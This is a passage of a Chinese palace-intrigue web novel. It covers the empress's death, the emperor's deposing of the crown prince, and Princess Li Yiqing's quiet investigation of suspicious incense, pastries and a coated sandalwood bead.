顺成帝走到李意清的面前蹲下，垂眸看着躺在她怀中的皇后，闭了闭双眼，声音漠然：“皇后崩逝，举国哀悼，由礼部和司礼监共同主事，务必隆重盛大。”
李意清的一滴泪水落在了皇后的脸上。
顺成帝道：“生老病死，人之常情。你若是愿意，可小住嫦月殿，送你母后最后一程。”
李意清紧紧地抱着皇后，用水沾湿手绢后，一点点擦去皇后呕血的嘴角。
“母后陪伴你二十余年……”
她的话没有说完，晕倒在了殿中。
顺成帝猛地一惊，看着倒地的两人，后退两步。
半响后，太和殿中传来一阵瓷器破碎的声音。
*
顺成帝推开太和殿大门的时候，门外齐刷刷跪着一地的工人和妃嫔。
除了妃嫔，还有匆匆赶到的太子和五皇子。
淑贵妃见顺成帝出来，立刻站起身，站在了顺成帝的身边。
“陛下，方才的声响？”
顺成帝冷哼一声，厌恶地看了一眼地上跪着的太子，冷声道：“太子无诏进宫，僭越罔上，待国丧后，褫夺大皇子李序泽太子之位，禁足皇子府。”
此言一出，立刻响起一阵倒吸凉气的声音。
太子……不对，很快就不是太子了。
那可是顺成帝亲自培养出来的储君，即便那时候太子腿脚不便，顺成帝可都没想过废黜太子。
谁能想到皇后一走，太子的地位就保不住了。
他人心中惊涛骇浪，李序泽的心中却十分的平静。
他恭恭敬敬朝着顺成帝跪拜，“儿臣多谢父皇，允儿臣送母后一程，儿臣感激不尽。”
贤贵妃冷眼看着太子依旧一幅气定神闲的模样，气不打一出来。
淑贵妃则是关切地看着顺成帝，“陛下看着有些疲惫，皇后娘娘猝然崩逝，臣妾等人也十分心痛，可陛下乃万金之体，实在不应该因此受损。玉顺仪，往日你服饰陛下最为合宜，你先扶陛下回寝殿休息。”
说完，她松开扶着顺成帝的手，盈盈下拜，“陛下放心，这边有臣妾处理。恭送陛下回宫。”
她现在和贤贵妃地位齐平，率先下拜，剩下的妃嫔也纷纷施礼。
“淑贵妃娘娘所言甚至，陛下当爱惜自己的龙体。”
玉顺仪站起身，走到顺成帝的身边，两人同上龙撵。
龙撵离开后，贤贵妃再无顾忌，站起身牵起跪在地上的五皇子，厌恶地看了一眼血腥味浓郁的太和殿。
这晦气地方，真是多待一秒都会觉得恶心。
好在，今晚并非一无所获，听到太子被废的消息，她这以后睡觉，都变香了。
“你膝下没有子嗣，惯爱做这些琐事笼络人心，本宫不与你争抢。”贤贵妃走到她的身边，笑完，施施然带着五皇子离开。
淑贵妃依旧保持着淡然的神色，毫无波澜地看着贤贵妃离开的背影。
旁边侍奉在一旁的徐钱礼恭敬地看着淑贵妃妆容无瑕的面容，放轻着自己尖细的嗓音道：“娘娘，现在陛下不在，贤贵妃又离开了，您可要主事啊。”
淑贵妃点了点头，垂眸看向跪在地上的李序泽，语气佯装关切：“地上凉，大皇子还是先起身吧。”
李序泽身边的小厮替自家殿下觉得委屈，刚忍不住争论自家殿下是皇后入殡后才会被废黜，何至于这么早就开始暗讽的时候，忽然察觉到身前一双手挡住了自己所有将要说出口的话。
李序泽的反应很平静，从地上站起身后，朝淑贵妃施礼道谢：“多谢贵妃娘娘。”
一个不再受器重的皇子，在意几日长短的虚名又有什么用。
淑贵妃直直对上太子的视线，眸色沉静如夜。
她设想过李序泽知道自己被废的消息会崩溃，会
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哀哭，大闹一场，总也好过这样气定神闲。
看来，即便是到了这一步，依旧不能小觑了这位自小就被立为储君的嫡长子。
李序泽不躲不避，任其打量。
片刻后，淑贵妃率先移开视线，语气不冷不淡地安抚道：“大皇子也不必心急，陛下只是因为娘娘新丧，等过了这一阵子，自然会想起殿下的好。”
李序泽不置可否。
淑贵妃对身边的徐钱礼道：“皇后大丧，乃国家重事，诸位都是我大庆栋梁，等礼部和司礼监丧仪后，再来吊唁即可。”
她的语气微微带着几分哽咽，说完，用手中的手绢擦了擦自己的眼角，拭去那并不存在的泪。
“徐公公，好生送诸位大臣回去。”
徐钱礼应了一声，一甩拂尘，带着一帮小太监匆匆去了。
淑贵妃又遣散了来此的各宫妃嫔，视线落在李序泽身上。
“大殿下，更深露重，您也快些回吧。”
李序泽整理了自己的衣冠，“父皇虽然要废我，却并未阻我侍奉母后最后一程。”
淑贵妃刚想开口反驳，可是话到嘴边，打了个弯儿，“如此，殿下瞻仰过皇后遗容，再让礼部的人来收拾罢。”
李序泽微微朝她拱手，大踏步地进去。
身边的小厮见状，更是一句话都不敢说，直直追着李序泽而去。
淑贵妃抬步也要跟着进去，身边的丫鬟闻到殿中传出的气味，小声劝道：“娘娘，里面晦气的很，您还是别进去了。”
淑贵妃置若罔闻，甚至轻轻一笑：“晦气，本宫可不觉得，里面真龙护体，现在又有凤凰在此，可是难得的宝地。”
都已经走到这一步了，她不亲眼见到，怎么能够放心。
毕竟只有她知道，曾有人情深似海，不惜山河倾覆。
她怎能错过这一幕。
殿中，比外面安静的多。
李序泽一眼就看到了躺在地上皇后和李意清。
皇后一身华服璀璨，在烛光下反射着冰冷地光，李意清身上还披着元辞章的靛青色的斗篷，风尘仆仆，憔悴不堪。
淑贵妃佯装惊讶：“於光公主不听阻拦执意进去，这是怎么了？”
李序泽走到李意清的身边，伸出二指合并放在她的鼻尖，探出还有气息后，微微松了一口气。
他注意到了李意清额头上蜿蜒流淌下来的血迹，又看见地上碎成一地的茶盏，心中了然。
“难道於光公主是被茶杯砸晕了过去，”淑贵妃抿着唇，神色自责懊恼，“都怪我，陛下当时正处于盛怒之中，就应该劝说公主莫进。”
李序泽安静地拿出帕子，擦干李意清额头的血。
他们在外面耽误得太久，李意清额头上的血已经微微干透。
顺着乌黑浓密的发缝寻找，果然找到了那一片伤口。
他的心停顿了一刹，而后疯狂的跳动起来。
被剥夺监国之权的时候不曾怀疑自己，被顺成帝亲口下令废黜太子身份的时候也没有怀疑。
可是在看见李意清额头上的伤口时，却忍不住开始不安。
自己所认为正确的，当真还是真的吗？
172. 落井下石
淑贵妃看着李序泽一动不动地身影，主动道：“公主头上这伤看着不轻，来人，去太医院传方太医进来……”
太和殿当然是有太医的，只是在确诊完皇后仙去后，就被当时尚且在暴怒中的顺成帝拔剑砍死。
光是他随意一眼，就已经看到了无辜的三具尸身，其中就包括太医院的王院判。
“不必了。”李序泽伸手轻轻触碰着李意清的侧脸，而后伸出双手，牢牢地托起了她，“我府上有医师，今日各宫娘娘都受了惊吓，此刻正是用人之际，贵妃娘娘还是先安抚好其他娘娘们吧。”
他说话的时候，视线一直落在躺在地上的皇后身上。
模样认真，像是要永远铭记于心。
“母后的后事，我在此多有不便，还请贵妃娘娘多多费心。”
他的声音轻如浮萍。
淑贵妃有一瞬间触动，但很快就恢复了滴水不漏的样子，“大皇子放心。”
李序泽抱着李意清朝门口中，刚踏出殿外，就听到了淑贵妃吩咐下人的声音：“还不快些收拾殿内！你们几人过来，帮皇后梳洗更衣，明日日初前务必收拾妥当……”
再多，就听不到了。
李序泽的小厮在旁边扶着摇摇欲坠的他，明明自己都快站不稳了，还抱着於光公主。
人散去之后的太和殿中，只剩下皇宫中冷冷的风。
朔风夹杂了零星的雪花，小厮惊呼一声：“殿下，下雪了！”
李序泽无感无觉，步履缓慢地朝着宫门的方向走去。
路上，遇到了送人回府的徐钱礼。
徐钱礼身后依然跟着一片小太监，他的步子很快，像是急着回去复命。
和李序泽狭路相逢，他想说些什么，却不知道能说些什么。
李序泽的心中很乱，径直从他身边走过。
徐钱礼酝酿出的神情僵硬在了原地。
小厮朝徐钱礼作揖：“徐公公。”说完，大跨步地走到李序泽的身边。
跟在徐钱礼身后的小太监压低声音道：“干爹，干爹不必生气，这大皇子眼看已经失去了圣心，是起不了……”
徐钱礼转头怒斥：“不知天高地厚的东西！大殿下就算不是太子，也依旧是陛下的儿子，是大庆的皇子！又岂是你能置喙的？”
身后的小太监自知失言，连忙伸手在自己的脸上扇了几巴掌。
“干爹教训的是！”
在徐钱礼的面前，他没有偷奸耍滑，用了十足十的力。
几巴掌下去，半边脸都红肿了。
徐钱礼冷眼瞧着，在第七下的时候，出声制止了他。
“行了行了，以后做事机灵点，落井下石这种事少学。”
*
另一边，李序泽抱着李意清刚走出皇宫，看见了等候在门外的毓心和洛石。
毓心看着大臣一批批出来，却始终不见李意清的身影，早就心急如焚。
眼下看见李意清被李序泽抱出来，也顾不上行礼请安，“殿下怎么了？”
李序泽：“她额头受了伤，先回我府上让医师包扎，等伤好些了，再随你一道回公主府。”
听到李意清额头受伤，毓心立刻屏住了呼吸，愣了一瞬，才转头对洛石道：“你先回府上说一声这边情况，我跟去照顾殿下。”
洛石担忧地看了一眼，点点头，转身消失在夜色中。
毓心朝着李序泽福了福身子，跟了上去。
太子府中，灯火未眠。
守在门口的太子妃苏诗如绞着手绢，身边的侍女捧着大氅，欲言又止。
看见马车回来的时候，太子妃连忙走到旁边，“殿下，你可算回来了。妾身很担心您。”
李序泽道：“诗如，辛苦了，还等到这么晚。”
太子妃摇了摇头，“这都是妾身应该做的。”
“今日意清也跟我一道回来，你吩咐府上医师去候着，再烧些热水。”李序泽轻声吩咐道。
太子妃惊诧了一瞬，没有多问，立刻带人匆匆离开。
等将李意清头上的伤口包扎好，也让毓心用热水擦拭后，他才放下心来。
太子妃站在他的身边，等医师和随行的仆侍都退下后，才伸手搭在李序泽的肩头：“殿下，意清妹妹的伤……”
李序泽视线落在李意清的身上，头也不抬地回答道：“是陛下。”
这是李序泽第一次用陛下这个词称呼顺成帝。
太子妃惊讶地长大了嘴巴，满脸的不可置信。
李序泽站起身，掖好李意清的被角后，和太子妃一道走出去。
外头，雪已经下了薄薄一层，并且有愈演愈烈的趋势。
李序泽也不知道自己看了多久的雪，半响，轻声对身旁的太子妃道：“明日喊匠人把府上的牌匾撤下。”
他只说了这一句，就转身踏入了漆黑浓稠的风雪中，雪地湿滑，他的步子颠簸，光是看背影，让人忍不住误会是蹒跚老人。
太子妃一瞬间就想通了李序泽为何这样说，眼眶倏然变得通红一片，又哭又笑。
旁边的侍女吓坏了，只以为苏诗如受不了这番打击，连忙出声安慰。
可是只有苏诗如自己心底知道，她哭只是因为安儿的皇太孙之位，她笑则是因为太子殿下终于可以卸下肩头的重担。
这一年来，他太累了。
*
李意清做了一个很不踏实的梦，梦中皇后笑靥如花，温柔唱着儿时哄她的歌谣，笑着带她数着漫天繁星。
梦醒后，一阵怅然若失，而后涌起无边的思念。
毓心趴在李意清的床边，听到响动，立刻清醒了过来。
见到李意清睁开双眼，松了一口气。
“殿下，你醒了，可要吃什么东西？”
李意清眼角一直流泪，毓心害怕泪水沾湿包扎的布巾，一整夜都在小心翼翼擦去她眼角的水痕。
她站起身，等待着回应。
李意清迟钝地摸了摸自己的额头，摸到一层绷带时指尖一顿。
昨夜，并非一场噩梦。
毓心看得揪心，“殿下……你先吃点东西垫垫吧。皇后……的消息已经传开，等用过饭，奴婢陪你一道去瞻仰皇后遗容。”
李意清费了很大的力气，才没有让自己泪如雨下。
她语气带着浓浓疲惫和懈怠：“随意一些，有什么就端什么罢。对了，太子哥哥呢？”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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她既然醒在太子府，说明太子哥哥昨夜也见到了父皇。
他们后来说了什么？她又是怎么昏迷了过去？还有额头上的伤。
毓心不敢直视李意清探究的目光，哽咽道：“殿下，太子殿下很快就不是太子了！”
李意清怔然：“什么意思？父皇做了什么？”
她心中的荒诞感越来越重，不敢想象居然有一日废黜太子的事情能活生生发生在眼前。
毓心：“殿下！”她喊了一声，语气带着掩饰不住的哭腔，“殿下，陛下早就不是当初那个陛下了！”
这话说的极重，若是被有心之人做文章，杀头也当得。
当年的顺成帝为国为民，勤政有加，现在的顺成帝暴虐成性，纵情声色。
公主难道要一直相信自己心中的幻象吗？
毓心一字一句道：“殿下，人都是会变的。”
李意清微微垂眸，收敛眼底的一切情绪，“毓心，去端些吃食吧，我要去送送母后。”
毓心亦不想自己狼狈的一面被李意清看到，闻言，立刻头也不回地出去了。
她走后，李意清用一旁铜盆中的清水洗了洗脸。
水是冷的，扑在脸上，让人格外清醒。
李意清洗完脸，端详着镜子中的自己——实在太过苍白。
她坐在梳妆镜前，略施脂粉，点上口脂，立刻变得鲜妍，像一朵盛开的花蕊。
母后最担心她，她可不能灰头土脸地去见母后。
毓心回来，看到的就是妆容整齐，正在伸手别上白绢花的李意清。
白绢表示哀思，配上碧玉簪子，素雅如画中仙。
“殿下，饭端来了。我看厨房有你最喜欢的牛肉煎豆腐，还有素鲜汤，都带了些过来。”
李意清走到桌边坐下，食不知味地吃完了早食，对毓心道：“我们去宫中。”
外面，苏诗如已经准备好了马车，正在等候。
李意清朝她微微俯身，苏诗如道：“你兄长醒得早，已经去皇宫帮忙布置了。”
李意清颔首示意自己知道了。
上马车后，她掀开帘子，消息在京城传的很快，今日已经满城素缟。
白布配着霜雪，仿佛连老天爷都在叹息。
她不敢再看，到了皇宫后，属于皇后的灵堂已经布置妥当。
金丝楠木的棺椁前，跪满一地群臣，临棺而哭，尽表哀思。
其中，以韩珦韩尚书哭的最真心实意。
皇后是贤后，她走后，还有谁能劝说住如今行事欲发乖张的顺成帝。
李意清没有挤着上前，默默跪在了后面，怔怔地望着小小的棺椁。
从前只觉得鬼神之说无稽之谈，已故之人令人害怕，可当自己最在乎的人躺在其中，才会一瞬间寄希望于鬼神。
昨夜消息散播，各地皇族宗亲陆续赶回，吊唁约莫还有半月。
她还剩半月，自此黄土上下，再不得见。
突然，她闻到了一股熟悉的味道，昨日在太和殿中闻过的燃香。
回头望去，白色素袍的衣角一闪而过，快得犹如她悲伤之下的幻觉。
冷风吹过，门口空无一人。
173. 梅花糕
李意清站起身，走到了门外。
淑贵妃带着一列捧着腊梅的侍女朝这边走。
“公主，公主来了怎么不到前排去？”淑贵妃一身素服，走到李意清的身边，见她望着侍女端着的腊梅，解释道：“皇后素来爱梅花。”
所以将梅花代替了祭祀常用的百合菊花。
李意清闻言，走到她的身边，伸手轻轻搭在淑贵妃的手上，“多谢贵妃娘娘了。”
她神情真挚，淑贵妃愣了一瞬，才抿出一抹温和静好的笑：“跟我这么客气做什么？你小时候就喜欢我抱着你。待会儿出宫的时候，你去我殿中吃些糕点。也不知道这么多年过去了，还合不合你的口味。”
李意清垂眸乖巧应道：“谢谢贵妃娘娘。”
淑贵妃打完招呼，还要送腊梅过去，匆匆离开。
李意清望着她的身影，昨夜太和殿中的熏香，和淑贵妃身上的味道一摸一样。
即便腊梅的味道掩盖了她身上的味道，可是对于当时就觉得熟悉的李意清来说，并不难记。
一直到日落西山，她才应邀去了淑贵妃所在的宫殿。
主座上的淑贵妃正由身边的宫女按捏着肩颈，听到下人的通传，抬了抬头，一份制作精美的梅花糕被端了出来。
李意清语气真挚，神情怀念：“梅花糕，这股香味我想念许久了。”
说完，她毫不迟疑地吃完一整个糕饼。
这期间，她能感受到一道视线落在她身上，一刻也不曾移动。
李意清动作干脆，淑贵妃反而有些不好意思，她吩咐自己身边的大宫女亲自为李意清斟茶。
“这是云顶雾山翠，听说要去高山冷雪后的茶尖制作而成。”淑贵妃示意她品尝，“你尝尝合不合心意？”
李意清从善如流，饮后，夸赞道：“热茶云雾如在雪山之巅，清冷沁润而不失雪后斜阳的味道。”
淑贵妃笑得欲发开怀。
李意清又坐了片刻，起身告辞，临别之际，忽然目光不舍地望着桌上还未吃完的糕点，“这糕点味道甚好，若是能带走，就好了。”
淑贵妃：“这有何难，我教人装好让你带走就是。”
她说完，正在按摩的大宫女犹豫出声：“娘娘……”
淑贵妃抬了抬手：“无妨。”
大宫女便不再所言，取了大小合适的红木食盒，将剩下的几块糕点装了起来。
淑贵妃送她到门口，看着外头昏沉的天色，语气关切：“回去路上或起风雪，公主应小心着凉。”
李意清转身道谢，和毓心一道离开。
一路上，李意清一句话都没有。
毓心在旁边急得抓心挠肝，今天的李意清太不寻常了，可是皇宫人多眼杂，她根本就不敢问。
李意清神色如常地回了公主府，府门外，白色的布帛工整，下人也都素服披麻，看到李意清的那一瞬间，连忙上前。
“殿下。”
李意清点了点头，将身上的斗篷脱下来交给洛石。
洛石道：“昨夜殿下受伤，我特意去将邱先生请到了府上。”
她额头被顺成帝砸伤的事情不是一个秘密，况且早在江宁府的时候李意清和邱念慈就有联系，因为算不上奇怪。
李意清多看了他一眼，“正好，我现在也有些疲乏，你去请他过来为我诊脉。”
洛石应了一声。
回到寝殿中，房屋中空无一人。
回到了自己的地盘，毓心不再那么拘束，她将食盒摆在一旁，在旁小声道：“殿下也太不谨慎了，淑贵妃自从送玉顺仪进宫后，和皇后娘娘就离了心，殿下怎么能直接吃她宫中的东西。”
李意清知道她的担心，“没关系，大家都亲眼看见我进了她的宫殿，她不会选择在这个时候朝我下手。”
淑贵妃的笑容像是一张半永久焊接在脸上的假面，得体、大气却有疏远，皮笑肉不笑。
如果不是察觉到淑贵妃请她吃糕点的那一瞬间情绪波动，她也不会顺势应下。
毓心道：“殿下，还是要谨慎的好。”
毕竟人家现在是炙手可热的贵妃娘娘，还有玉顺仪在一旁笼络圣心，而现在的公主殿下，早已经不是当初坐拥帝后疼爱的公主了。
甚至说，即便李意清真在淑贵妃的宫里出了事，或许也只会轻轻放下。
李意清一边拆开食盒，一边轻轻应了一声。
她现在已经没人能给自己兜底了，所做的一切决定，都有赌的成分。
食盒中，里面的梅花糕已经凉了。
洛石站在院中道：“殿下，邱先生已经到了。”
李意清道：“请先生进来。”
邱念慈进来后，先朝李意清行了一个礼，然后立刻恢复医者模样，细细观察着李意清的神色。
“殿下昨夜当时梦魇缠身，忧思过重，长此以往，对身体十分不好。还请殿下保重自身。”李意清的所有情绪都写在脸上，邱念慈的问题几乎都不必问出口，就已经看到了答案。
李意清颔首，朝洛石看了一眼，洛石立刻会意，遣散了寝殿外侍奉的众人。
他像一尊门神一样守在门外。
邱念慈和毓心眼看这副架势，知道后面李意清要说的话必然重中之重，都挺直了身子。
李意清道：“现在我母后故去，兄长被贬黜，身边可信可敬之人稀少，邱先生……”
邱念慈正襟危坐，面容沉肃：“殿下放心，早年我受皇后娘娘恩惠，受她之托照看于你，现在即便娘娘不在了，但是邱某愿意永远追随殿下。”
毓心立刻上前扶起作势下拜的邱念慈，言辞恳切：“邱先生不必拘礼。先生与殿下早就相识，曾在江宁府就多亏你妙手回春，殿下数次与我提及，说是先生与其说是大夫，更像是长辈。”
邱念慈：“殿下既然信我，我自然不会辜负殿下一片信任。”
李意清请他坐下后，让毓心将梅花糕端到他面前。
“邱先生，您看看这份梅花糕。”
邱念慈伸手，从碟子中拿了一块出来，先放在鼻子底下嗅了嗅，又用指尖揩了一点糕粉，放入口中。
“殿下，这盘糕点并无不妥。此糕梅香扑鼻，但是细细
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分辨，依稀可以尝出百合、栀子、麦冬、夏枯草和酸枣仁等药材，这些药材皆具有清心去燥的功效，偶尔食用对身体只有好处。”
李意清闻言，对邱念慈道：“原来如此，多谢邱先生。”
邱念慈微笑着摇头，不该问的一句都没有多问。
为皇家办事，这也算一项心照不宣的规矩。
李意清再三道谢，让洛石将邱念慈好生送走。
毓心有些不可置信地看着桌上的糕点：“殿下，没想到淑贵妃竟然真的这般好心，糕点没有动任何手脚。”
相较于毓心的意外，李意清则显得平静的多。
“若是她真的那般好心，怎么会允许玉顺仪随行父皇身边。”
毓心显得更加不解：“那这是为什么？”
李意清凝神想了一会儿，摇了摇头：“我现在还说不准，或许正如她自己所言，是因为儿时的情谊。”
淑妃在被封为贵妃之前一直都是温和守礼的，整日跟在皇后身边，对宠爱权力都是淡然处之的态度。
一个人的变化怎么会这般大。
李意清想了一会儿，微微摇了摇头。尽管这次糕点并无不妥，但是对于淑贵妃身上和太和殿中如出一辙的熏香，她还是感觉到了几分不对劲。
看来明日进宫，需要想办法弄一些炉灰出来。
李意清心中打定主意，蹙起的眉间舒展了几分。
毓心看得欢喜，见李意清精神尚好，主动出去准备晚食。
到了门口，毓心看见站在门廊下的元辞章。
也不知道刚来，还是已经在门口站了一会儿了。
元辞章一身白色长袍，头发只用一根墨色发带高高竖起，看着冷如月下仙人。
毓心主动上前道：“驸马，殿下现在还算镇定，不过如果你进去陪她说说话，她应该会更好受一些。再者外头天寒地冻，屋子里也暖和不少。”
元辞章望着窗内烛光透过的剪影，闻言，只是微微摇头。
“没事，我就在这里陪她。”
他一边说着，一边走到了寝殿门口的门槛上。
屋内烧了碳炉，为了防止晕厥，门是开着通风的。
坐在里面的人只需要朝门口望去，就能看见元辞章的背影。
毓心愣了一瞬，揉了揉眼睛，确认自己没有幻视之后，接受了一向端方的元辞章随意坐在门槛上。
她顺着元辞章的角度朝屋内望去，心中了然。
坐在屋内的任何地方，只要看向门边，就一定能看到元辞章的背影。
殿下装作平静，可是她最是看重感情，正如邱郎中诊断所言，忧思过重，哀极魇缠。
给她一点时间和空间，或许比出现在她的面前让她即便在家中也不能彻底将悲伤宣之于口来得更好。
毓心在心中酝酿了一会儿，却不知道该怎么道谢。
元辞章对李意清的在乎，即使再迟钝的人，也难以忽视。
总有一些温暖，不需要挑明，就能感受它无处不在。
她转身离开了寝殿，拉着不明所以的洛石一道离开。
174. 檀木珠
李意清没有听到毓心和元辞章的交流，但是能看见那道随地而坐的背影。
心中缓缓淌过一阵暖流，李意清拢了拢自己身上的斗篷，走到元辞章身边坐下。
两人并肩坐在门槛上。
今夜昏沉，只有呼啸的北风和零星飘落的雪点。
月亮藏匿在云后，亮光稀少得可怜。
李意清侧头去看他，只见他被冷风吹得透着红的鼻尖。
“元辞章，今日多谢你。”
元辞章：“嗯？”
李意清顿了顿，轻声道：“我看见你为母后写的悼诗了。”
书案前厚厚一垒，半数出自元辞章的手笔。
元辞章道：“皇后为人贤德端方，恤孤怜贫，天下赞扬的文人墨客众多，并不缺我一人。”
只不过他身处庙堂，能直抒己见罢了。
顿了顿，元辞章道：“意清，我有东西要送给你。”
李意清被引起了好奇心：“什么？”
元辞章牵着她来到书房，抱出一筒画轴和一个木盒。
“这些是周太傅差人送来的，里面装着皇后在城南书院的亲笔，五年来，她一共出宫十三次，去了城南书院八次，每次在书院，都会亲手作画一幅。”
李意清小心翼翼地拆开，上面果然是皇后的亲笔。
从运来木材石头，到后面书院建成，书声琅琅，皇后在用自己的方式弥补李意清没能亲眼见证的遗憾。
李意清鼻尖一酸，可是有害怕自己的流泪晕开笔墨，生生忍住了。
元辞章接过她手中的画轴重新卷好，提醒她道：“还有一边的木盒。”
李意清深吸两口气，平复了心绪，才伸手打开了盒子。
盒子中，放着一叠厚厚的铺子和庄子的地契，以及一枚吉祥牌。
吉祥牌上串着一个小小的珠子，下面缀着流苏。
比起过往见到的吉祥牌，样式更大一些。
李意清缓缓贴近自己的心口。
她站了多久，元辞章就等了多久。
树欲静而风不止，子欲养而亲不待，阴阳两隔，怎会没有留下遗憾。
元辞章看着她颤抖的肩膀，忽然想到，像皇后那边疼爱女儿的人，要是见到李意清为她哭得这般伤心，即便是九泉之下，也会焦急得来回踱步，只恨自己不能亲手抱一抱她。
*
转眼间，丧仪半月过去。
这期间，顺成帝一次都没露面。
直到半个月后，皇后要入陵安葬，他才出现在众人视线中。
帝王驾到，不论是灵堂还是喜事，都是头等重要的大事，原先面对棺椁跪下的众人调转方向，朝着顺成帝俯身行礼。
“陛下万安。”
顺成帝的衣服与平常人穿的素服不一样，而是一种浅淡的淡黄色，上面没有绣任何图案纹饰，一般只用于太后或者元后丧亡的场合。
他站在灵堂前，神色暗沉。
礼部尚书颤颤巍巍将拟定的谥号呈给顺成帝过目：“陛下，皇后降生于望族，习礼修身，德馨远播。是以，可取封号慈庄皇后。”
慈是赞颂她恤孤悯弱，庄是褒扬她端庄稳重。
这个名号随青史流传，不会过分惹人注目，也不会失了原本就有的地位。
顺成帝置若罔闻。
礼部尚书重复了一遍，见顺成帝丝毫没有搭理自己的意思，有些欲哭无泪。
淑贵妃见顺成帝只看着棺椁，丝毫没有看谥号一的打算，主动站起身。
“陛下，皇后娘娘……”
“就叫，明昭皇后。”顺成帝忽然出声。
说完，他像是不愿意在这里多留一步，转身离开。
淑贵妃在腹中打好的劝诫草稿忽然毫无用武之地。
明昭，明昭。
光明灿烂，普照四方。
帝后少年时携手相伴，礼部尚书这一回揣度圣意，可算是踢到铁板了。
他怎么忍心自己的皇后只有一个不功不过的称号。
淑贵妃身边的大宫女紧张地看着她，淑贵妃摇了摇头，面容沉静而从容，“本宫无妨。”
人一死，许多曾经的怨念、纠葛仿佛都会斩断。更不要说帝后鹣鲽情深，恩爱不移。
不过人已经死了，死后的哀荣，再盛大些又如何。
她何必和一个死人过不去。
徐钱礼没有跟在顺成帝的身后离开，他朝着淑贵妃微微俯身，而后走到礼部尚书的面前。
礼部尚书自知这一次办得不妥，脸色苍白一片，他本以为陛下当厌弃了皇后，才和礼部上下拟定这样的封号。
现在看来，大错特错。
礼部尚书像是看见救命稻草一般望着徐钱礼，“徐公公，这可怎么好？”
徐钱礼低咳一声，“既然陛下都发话了，就按照陛下的意思办吧。后面的事可别马虎了。”
礼部尚书在心底仿佛琢磨徐钱礼的意思，办好看不难，可是就是摸不准陛下对皇后的情谊不减，还是只是需要一场盛大的葬礼抚慰民心。
……
李意清跟着皇室宗亲一道出了灵堂。
裕亲王一家也在，见到李意清的时候，裕世子不着痕迹地躲闪了她的目光。
李泊芳倒是走到了李意清的身边，伸手拍了拍她的肩膀，“李意清，生老病死，人之常情，你也不必过于悲伤。”
裕亲王拽着不敢靠近的裕世子走到李意清的面前。
迫于裕亲王的压力，裕世子强忍着胆颤给李意清见礼。
李意清淡淡地看了他一眼，对裕亲王道：“府上还有些事务需要处理，我就先走一步了。”
她走的干脆，裕世子惊魂不定。
裕亲王一脸的恨铁不成钢，“太医都说了娘娘是惊厥过度，你这般畏首畏尾，平白叫人看低。”
李泊芳也是一脸厌烦。
父女两人转身，将裕世子丢在脑后。
裕世子却忘不了李意清方才冷淡到没有一丝温度的视线。
李意清不会放过他的，一定不会的！
他咽了一口唾沫，暗自下定决心。
绝对不能这样坐以待毙。
*
李意清离开灵堂，并没有急着回府。
她像是随心而行，踏在了去往嫦月殿的路上。
一路上经过的太监和宫女并未在意，这条路在宫中常见的很，况且於光公主从前住在这边，今日兴起想来看看，也很正常。
李意清畅通无阻地推门进去。
这五年来，有皇后在，每隔一段时日就会有人前来打扫，因此并不显得荒芜。
但是以后，就说不准了。
她坐在殿中的桂花树下，静静地等候。
约莫一刻钟后，徐钱礼和身后的一列小太监经过。
脚步声由远转近，再而转远，忽然，一个小太监惊呼
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道：“徐公公，你手上的檀木珠串断了。”
外头这一段路是卵石铺就，檀木珠子滚动之下，并不好找。
徐钱礼语气急忙道：“陛下要吃翟方士炼制的养元回春丹，这事可耽误不得，珠子掉就掉了，不找也罢。”
停滞的脚步声重新动起来，声音渐渐消失。
李意清走出门去，地上滚落的檀木珠还没有被收拾。
她一眼看见那颗串在绳索上的珠子，故意丢下自己的手帕，又弯腰去捡。
捡到珠子后，她紧紧攥在手中，神情自然地走到了宫门口。
门口的毓心先将李意清扶上马车，然后自己跟着上去。
坐定后，毓心拿出汤婆子递给她。
李意清怕冷，每次回来，都要抱着汤婆子。今天李意清出来的晚，抱着已经不大热了。
“殿下，今天怎么比往日迟一些？”毓心问道。
李意清安静地垂眸，只露出一个清丽的侧颜。
“明日就要封棺运去陵地，我忍不住去嫦月殿小坐了片刻。”她一边说着，一边轻咳几声，“不过这几步像是坏了事，我有些头疼得厉害，等回了府，你让洛石去请邱先生入府帮我瞧瞧。”
毓心闻言，立刻神色紧张，伸手摸在了李意清的额头上。
咦，没发热啊。
难不成是流涕？毓心担心地伸手去够李意清的手腕摸脉。
李意清朝她微微眨了眨眼睛——
我没事，只是寻一个由头，让你请人过来。
毓心瞬间会意，毕竟这里是宫门口，人多眼杂，隔墙有耳。
“奴婢晓得了。”
毓心将马车上备着的薄毯盖在李意清的腿上，“殿下身体虚弱，可千万不可再受凉了。”
两人回府之后，李意清简单洗漱，换了一身居家的衣裳。
邱念慈背着药箱，进来后，看见李意清虽然有些疲惫，但总体并无大事。
他例行诊脉，嘱咐两声后，做戏做全套，写了一张治疗风寒的方子。
“照此方抓药，服用七天，便无碍了。”
李意清从善如流，让洛石出门去买药。
出去时，洛石特意带上了门。
这半个月事多，抽不出空重新筛查府上的下人，公主府空了三年，说不定就有人耐不住性子生了异心。
毓心走到门边，守着门口不让人进来。
李意清从袖中拿出徐钱礼传给她的檀木珠。
徐钱礼是太监首领，平日只能跟在顺成帝身后伺候，顺成帝半月不来，两人见不上面。
今日，顺成帝说话之际，徐钱礼却意味深长地朝她看了一眼。
虽然只是一眼，李意清却确信自己没有看错。
——徐钱礼想传递什么呢？
怀抱着这样的疑问，李意清在心中思索。
众目睽睽下，徐钱礼不能做得太过明显，只是在顺成帝转身的不经意间，用拂尘轻轻擦过他的衣袍。
徐钱礼当了这么多年的太监，自然不会出现拂尘点人这样的差错。
这就是徐钱礼给出的提示。
李意清想了一瞬，明白了徐钱礼的用意。
顺成帝身上衣着浅黄，正如桂花，而宫中最大最好的桂花树，正是在她以前住的嫦月殿中。
李意清将檀木珠放在桌上，目光紧紧看着邱念慈，“邱先生，我想请你帮忙看看这颗珠子有什么不同寻常？”
175. 绢絮刺绣
邱念慈伸手接过檀木珠，打量一圈后，放在鼻尖轻嗅。
“这就是一枚普通的黑檀木……不过，倒是染上一丝别的香料味道，像是和别的什么东西放一起的时间久了。”
李意清立刻追问道：“先生能闻出是什么香料吗？”
邱念慈一时也说不上来。
这香味的怪得很，若有似无，他隐约能闻出两种，却不能确定。
李意清微微有些遗憾。
徐钱礼为这么大的周章，怎么会随意给出一个一枚普通的黑檀木珠。
邱念慈将珠子拿远了一些，细细端详。
这一看，还真让他看出一丝不对劲来。
按理说这般深沉的色泽，应该是那些上好的老檀木才是，其分量，香韵都不应该这幅表现。
他试探性地用指尖蹭了蹭檀木的表面，指甲盖上蹭下来一小块黑色的涂料。
